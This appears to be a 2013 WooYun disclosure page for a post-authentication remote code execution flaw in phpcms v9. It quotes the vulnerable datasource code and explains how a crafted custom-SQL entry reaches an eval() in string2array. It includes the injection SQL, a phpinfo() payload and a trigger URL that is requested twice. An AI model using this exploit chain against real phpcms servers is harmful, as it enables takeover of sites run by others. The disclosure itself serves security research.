漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:phpcms v9 后台远程代码执行漏洞(第三弹)
提交时间:2013-12-20 17:47
修复时间:2014-03-20 17:47
公开时间:2014-03-20 17:47
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2013-12-20: 细节已通知厂商并且等待厂商处理中 2013-12-20: 厂商已经确认,细节仅向厂商公开 2013-12-23: 细节向第三方安全合作伙伴开放 2014-02-13: 细节向核心白帽子及相关领域专家公开 2014-02-23: 细节向普通白帽子公开 2014-03-05: 细节向实习白帽子公开 2014-03-20: 细节向公众公开
简要描述: null
详细说明: phpcms 官方给分要给力啊,我才能给你爆更多0day啊
漏洞证明: 壮大我大乌云,乌云也要给力给力啊 前台了来了几期,干脆来个后台代码执行。 记住。。。这是后台2次SQL执行漏洞。。。看分析。。。 phpcms 官方给力点,到时候俺给你还来几发.... 在phpcms\modules\dbsource\data.php中add 方法 方法很猥琐。。。。
public function add() { pc_base::load_app_func('global'); if (isset($_POST['dosubmit'])) { $name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('name').L('empty')); $dis_type = isset($_POST['dis_type']) && intval($_POST['dis_type']) ? intval($_POST['dis_type']) : 1; $cache = isset($_POST['cache']) && intval($_POST['cache']) ? intval($_POST['cache']) : 0; $num = isset($_POST['num']) && intval($_POST['num']) ? intval($_POST['num']) : 0; $type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 0; //检查名称是否已经存在 if ($this->db->get_one(array('name'=>$name))) { showmessage(L('name').L('exists')); } $sql = array(); if ($type == '1') { //自定义SQL $data = isset($_POST['data']) && trim($_POST['data']) ? trim($_POST['data']) : showmessage(L('custom_sql').L('empty'));// 这里漏洞点,这里通过获取form表单中的data数据,这里为我们构造好的sql语句 $sql = array('data'=>$data); } else { //模型配置方式 $module = isset($_POST['module']) && trim($_POST['module']) ? trim($_POST['module']) : showmessage(L('please_select_model')); $action = isset($_POST['action']) && trim($_POST['action']) ? trim($_POST['action']) : showmessage(L('please_select_action')); $html = pc_tag_class($module); $data = array(); if (isset($html[$action]) && is_array($html[$action])) { foreach ($html[$action] as $key=>$val) { $val['validator']['reg_msg'] = $val['validator']['reg_msg'] ? $val['validator']['reg_msg'] : $val['name'].L('inputerror'); $$key = isset($_POST[$key]) && trim($_POST[$key]) ? trim($_POST[$key]) : ''; if (!empty($val['validator'])) { if (isset($val['validator']['min']) && strlen($$key) < $val['validator']['min']) { showmessage($val['name'].L('should').L('is_greater_than').$val['validator']['min'].L('lambda')); } if (isset($val['validator']['max']) && strlen($$key) > $val['validator']['max']) { showmessage($val['name'].L('should').L('less_than').$val['validator']['max'].L('lambda')); } if (!preg_match('/'.$val['validator']['reg'].'/'.$val['validator']['reg_param'], $$key)) { showmessage($val['name'].$val['validator']['reg_msg']); } } $data[$key] = $$key; } } $sql = array('data'=>array2string($data), 'module'=>$module, 'action'=>$action); } if ($dis_type == 3) { $sql['template'] = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : ''; } //初始化数据 $sql['name'] = $name; $sql['type'] = $type; $sql['dis_type'] = $dis_type; $sql['cache'] = $cache; $sql['num'] = $num; if ($id = $this->db->insert($sql,true)) { //关键地方,这里写入我们的SQL语句,这里的SQL语句可以由我们上面的$data获得
这里成功写入我们的sql语句如下 我们构造好如下data 为 update v9_datacall set module='announce',action='pc_tag',data='phpinfo();',type='2' where name=123; 我们再次看看phpcms\modules\dbsource\call.php
public function get() { $id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : exit(); if ($data = $this->db->get_one(array('id'=>$id))) { if (!$str = tpl_cache('dbsource_'.$id,$data['cache'])) { if ($data['type'] == 1) { //自定义SQL调用 $get_db = pc_base::load_model("get_model"); $sql = $data['data'].(!empty($data['num']) ? " LIMIT $data[num]" : ''); //echo $sql; $r= $get_db->query($sql); while(($s = $get_db->fetch_next()) != false) { $str[] = $s; } } else { $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$data['module'].DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.$data['module'].'_tag.class.php'; //echo $filepath; if (file_exists($filepath)) { $pc_tag = pc_base::load_app_class($data['module'].'_tag', $data['module']); //var_dump($pc_tag); if (!method_exists($pc_tag, $data['action'])) { exit(); } $sql = string2array($data['data']);//这里真正触发漏洞,产生远程代码执行,这里必须通过2次访问链接,导致远程代码执行 $sql['action'] = $data['action']; $sql['limit'] = $data['num'];
我们贴出该函数
function string2array($data) { if($data == '') return array(); @eval("\$array = $data;");//代码执行鸟了。。。。 return $array; }
说下具体过程 当我们在数据源那里添加数据源调用 其中名称为123
然后我们访问调用链接如下 http://127.0.0.1/v9/index.php?m=dbsource&c=call&a=get&id=19 我们必须访问2次,因为第一次执行的时候,执行的是更改type为2 , update v9_datacall set module='announce',action='pc_tag',data='phpinfo();',type='2' where name=123; 详情就看看上面的call.php中的分析了 当我们访问2次的时候,我们的代码就到
} else { $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$data['module'].DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.$data['module'].'_tag.class.php'; //echo $filepath; if (file_exists($filepath)) { $pc_tag = pc_base::load_app_class($data['module'].'_tag', $data['module']); //var_dump($pc_tag); if (!method_exists($pc_tag, $data['action'])) { exit(); } $sql = string2array($data['data']);
到这里执行了
修复方案: 版权声明:转载请注明来源 狗狗侠 @乌云
漏洞回应 厂商回应: 危害等级:中
漏洞Rank:10
确认时间:2013-12-20 18:47
厂商回复: 收到!!
最新状态: 暂无